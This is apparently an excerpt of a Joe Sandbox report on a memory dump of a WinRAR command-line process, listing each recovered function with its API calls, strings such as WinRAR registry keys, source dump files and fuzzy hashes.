FindNextFileW.KERNELBASE(?,?,00000000,?,?,00007FF71D2D4620,?,00000000,?,00007FF71D2F7A8C), ref: 00007FF71D2D47A4
GetLastError.KERNEL32(?,00000000,?,?,00007FF71D2D4620,?,00000000,?,00007FF71D2F7A8C), ref: 00007FF71D2D47B2

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction ID: 11b5f8b9680931d99c1a199569432fc2162506277beea7a3961d24916572c213
Opcode Fuzzy Hash: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction Fuzzy Hash: 8D419532B0CE8196EA24AB25E5502E9E360FB497B4F804335EA7D437C5EF6CE55D8B10

Function 00007FF71D2C901C Relevance: 4.5, APIs: 3, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00007FF71D2C904D
CryptGenRandom.ADVAPI32 ref: 00007FF71D2C9061
CryptReleaseContext.ADVAPI32 ref: 00007FF71D2C9074

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction ID: fd2a8ec96b9e37f5ec4a6298539087035805678ee7f359b4486d0e1598747259
Opcode Fuzzy Hash: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction Fuzzy Hash: 15016226B1CA5082F7009B16A444329E762EBC4FE0F598035DE4D43B64EF7DD94ACB14

Function 00007FF71D2BB540 Relevance: 2.0, APIs: 1, Instructions: 490COMMON

Download Yara Rule

APIs

CharToOemA.USER32 ref: 00007FF71D2BB900

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Char
String ID:
API String ID: 751630497-0
Opcode ID: 30cca9b820c2462ea9223497f218cfc72479732bc9d6405a30229187a307cc14
Instruction ID: c3cf76b18d91b8850b180db0d41aec7d277e4769e8464b3cb4595ca3fc3cf271
Opcode Fuzzy Hash: 30cca9b820c2462ea9223497f218cfc72479732bc9d6405a30229187a307cc14
Instruction Fuzzy Hash: E622D832A0CA8295E724EF30D4401FEF7A0FB54768F844135DA9D57199EEBCEA49CB60

Function 00007FF71D2DAE10 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF71D2DB0C7

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c6948624827ea7693b6108848687628fcd6e9d0da3fa2eb8db9aa223bd97b69
Instruction ID: 4e4880b43fc9ff3da98da0375a0c68892b0ebbc6a9183386900c49b721bd4be0
Opcode Fuzzy Hash: 9c6948624827ea7693b6108848687628fcd6e9d0da3fa2eb8db9aa223bd97b69
Instruction Fuzzy Hash: 0571FA32A09E8586D704EF25E4153EDB391F788FA4F444139DB6D8B395EF78D0468B60

Function 00007FF71D2F3EA8 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 491
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF71D2F3EF9
GetModuleFileNameW.KERNEL32(?,?,?,?,?,?,?,?,00007FF71D2F3E8F,?,00007FF71D2E7E90), ref: 00007FF71D2F3F14
snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2F43C6

Strings

MENU, xrefs: 00007FF71D2F4235
@%s:, xrefs: 00007FF71D2F43A5
,, xrefs: 00007FF71D2F43FB
RTL, xrefs: 00007FF71D2F437A
DIALOG, xrefs: 00007FF71D2F4227
$%s:, xrefs: 00007FF71D2F439E
STRINGS, xrefs: 00007FF71D2F4219
*messages***, xrefs: 00007FF71D2F4050
DIRECTION, xrefs: 00007FF71D2F4243
*messages***, xrefs: 00007FF71D2F4080
\, xrefs: 00007FF71D2F4519

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: FileModuleNamesnprintfwcschr
String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS$\
API String ID: 602362809-1645646101
Opcode ID: c62561639fbdbdbf005c733f8e10f84305a44d785986a0b6db6af70807fe4adc
Instruction ID: 8dd8a233a778f61bbedf53e07c23b4a3654407c4d0a4de1c0ee33e786d407f64
Opcode Fuzzy Hash: c62561639fbdbdbf005c733f8e10f84305a44d785986a0b6db6af70807fe4adc
Instruction Fuzzy Hash: 1422B132A1CE8284EB20BB15D4502F9A361FF547A4FC04535EA6E476D5FF6CE54ACB20

Function 00007FF71D2C4FD0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF71D2C5043
wcschr.LIBVCRUNTIME ref: 00007FF71D2C5129

Strings

.rar, xrefs: 00007FF71D2C50E6
stdin, xrefs: 00007FF71D2C52C2
.part, xrefs: 00007FF71D2C50A5
FUADPXETK, xrefs: 00007FF71D2C503C
AFUMD, xrefs: 00007FF71D2C5122
.rar, xrefs: 00007FF71D2C508E

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: wcschr
String ID: .part$.rar$.rar$AFUMD$FUADPXETK$stdin
API String ID: 1497570035-1281034975
Opcode ID: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction ID: a0e27948345441ff5aa5e3b1232aad97becc9319cddb1358c06b470c282ab100
Opcode Fuzzy Hash: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction Fuzzy Hash: 76C1A421A2CD8280EA34BE2488511FD9391EF467A4FC44131D96E4A5DAFE6CFA09CB31

Function 00007FF71D2F7F24 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF71D2F805C

Part of subcall function 00007FF71D2FB3F0: GetSystemDirectoryW.KERNEL32 ref: 00007FF71D2FB41E

GetProcAddressForCaller.KERNELBASE ref: 00007FF71D2F7F88
GetProcAddress.KERNEL32 ref: 00007FF71D2F7FA3

Strings

CryptProtectMemory, xrefs: 00007FF71D2F7F7E
CryptUnprotectMemory failed, xrefs: 00007FF71D2F8053
CryptUnprotectMemory, xrefs: 00007FF71D2F7F95
CryptProtectMemory failed, xrefs: 00007FF71D2F8009
Crypt32.dll, xrefs: 00007FF71D2F7F66

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: AddressProc$CallerCurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1389829785-2207617598
Opcode ID: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction ID: 7db2b4eb0564b9841800557f776e2d4546f97801aff8064b4798507016469114
Opcode Fuzzy Hash: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction Fuzzy Hash: 98414D31A0CE9681EA55AB12A800579EB61BF45BF4FC80639CD6D07754FE7CE44E9B20

Function 00007FF71D30B0FC Relevance: 13.6, APIs: 9, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF71D30B110

Part of subcall function 00007FF71D30AA8C: __isa_available_init.LIBCMT ref: 00007FF71D30AAA9
Part of subcall function 00007FF71D30AA8C: __vcrt_initialize.LIBVCRUNTIME ref: 00007FF71D30AAAE

__scrt_fastfail.LIBCMT ref: 00007FF71D30B11E

Part of subcall function 00007FF71D30B52C: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF71D30B548
Part of subcall function 00007FF71D30B52C: RtlCaptureContext.KERNEL32 ref: 00007FF71D30B571
Part of subcall function 00007FF71D30B52C: RtlLookupFunctionEntry.KERNEL32 ref: 00007FF71D30B58B
Part of subcall function 00007FF71D30B52C: RtlVirtualUnwind.KERNEL32 ref: 00007FF71D30B5CC
Part of subcall function 00007FF71D30B52C: IsDebuggerPresent.KERNEL32 ref: 00007FF71D30B620
Part of subcall function 00007FF71D30B52C: SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF71D30B641
Part of subcall function 00007FF71D30B52C: UnhandledExceptionFilter.KERNEL32 ref: 00007FF71D30B64C

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF71D30B12C
__scrt_fastfail.LIBCMT ref: 00007FF71D30B143
__scrt_release_startup_lock.LIBCMT ref: 00007FF71D30B1A0
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF71D30B1B6
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF71D30B1E6
__scrt_is_managed_app.LIBCMT ref: 00007FF71D30B21B
__scrt_uninitialize_crt.LIBCMT ref: 00007FF71D30B239

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled__scrt_fastfail__scrt_is_nonwritable_in_current_image$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual__isa_available_init__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 552178382-0
Opcode ID: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction ID: 809a46300f31bc07be8e5ce3eff174d836e292f4b08926a2f16eb7550bc2511e
Opcode Fuzzy Hash: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction Fuzzy Hash: D2310631E0CA43C2EA18BF24A4523B9E391AF557A4FC4403CEA5D476D7FE2CA40D8A60

Function 00007FF71D2F4774 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,00007FF71D2F495D,?,?,?,00007FF71D2E7E7D), ref: 00007FF71D2F47DB
RegQueryValueExW.ADVAPI32(?,?,?,?,?,00007FF71D2F495D,?,?,?,00007FF71D2E7E7D), ref: 00007FF71D2F4831
ExpandEnvironmentStringsW.KERNEL32(?,?,?,?,?,00007FF71D2F495D,?,?,?,00007FF71D2E7E7D), ref: 00007FF71D2F4853
RegCloseKey.ADVAPI32(?,?,?,?,?,00007FF71D2F495D,?,?,?,00007FF71D2E7E7D), ref: 00007FF71D2F48A6

Strings

Software\WinRAR\General, xrefs: 00007FF71D2F47CD
LanguageFolder, xrefs: 00007FF71D2F4806

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CloseEnvironmentExpandOpenQueryStringsValue
String ID: LanguageFolder$Software\WinRAR\General
API String ID: 1800380464-3408810217
Opcode ID: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction ID: 71ce63fa2a91c49f0e8a9f76fe4fcc923ba0a6a9aa390d0bb43a625c4a7477fa
Opcode Fuzzy Hash: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction Fuzzy Hash: 9E318022A1CE8185EA60AB21E8502EAE351FF847A4F804635EE5D47B99FE6CD14DCB10

Function 00007FF71D2E4398 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,00000800,00000000,00000000,00007FF71D2E38CB,?,?,?,00007FF71D2E41EC), ref: 00007FF71D2E43D1
RegQueryValueExW.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF71D2E38CB,?,?,?,00007FF71D2E41EC), ref: 00007FF71D2E4402
RegCloseKey.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF71D2E38CB,?,?,?,00007FF71D2E41EC), ref: 00007FF71D2E440D
GetModuleFileNameW.KERNEL32(?,?,?,?,00000800,00000000,00000000,00007FF71D2E38CB,?,?,?,00007FF71D2E41EC), ref: 00007FF71D2E443E

Strings

Software\WinRAR\Paths, xrefs: 00007FF71D2E43BC
AppData, xrefs: 00007FF71D2E43F7

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CloseFileModuleNameOpenQueryValue
String ID: AppData$Software\WinRAR\Paths
API String ID: 3617018055-3415417297
Opcode ID: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction ID: 3359017ad99a4ecb2638667b615df3e63b2d540e0093da2ff3edeb641645c3c8
Opcode Fuzzy Hash: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction Fuzzy Hash: 00115132A1CB4185EA10AF26E4005A9F361FF88BA4F845135EA5E07655FF3CE109CB10

Function 00007FF71D2B7A5B Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H9, xrefs: 00007FF71D2B7BF3

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID:
String ID: H9
API String ID: 0-2207570329
Opcode ID: 6c7bc826278d7ea269c3741db8a1faab47c2ba2902a6fc586a2818d3bcdcd0b2
Instruction ID: 8b27c9337bd328f6f8229e5451ff44aa7f59f43c2347437dace20874b5d2ec29
Opcode Fuzzy Hash: 6c7bc826278d7ea269c3741db8a1faab47c2ba2902a6fc586a2818d3bcdcd0b2
Instruction Fuzzy Hash: C3E1C062A0CF9285EB10EB25E044AFDA3A5EB4975CF894535CE5D03785EF78E648CB20

Function 00007FF71D2D2574 Relevance: 7.6, APIs: 5, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF71D2D25B0
WriteFile.KERNEL32 ref: 00007FF71D2D25F9
WriteFile.KERNELBASE ref: 00007FF71D2D262E
GetLastError.KERNEL32 ref: 00007FF71D2D2658
SetLastError.KERNEL32 ref: 00007FF71D2D2689

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ErrorFileLastWrite$Handle
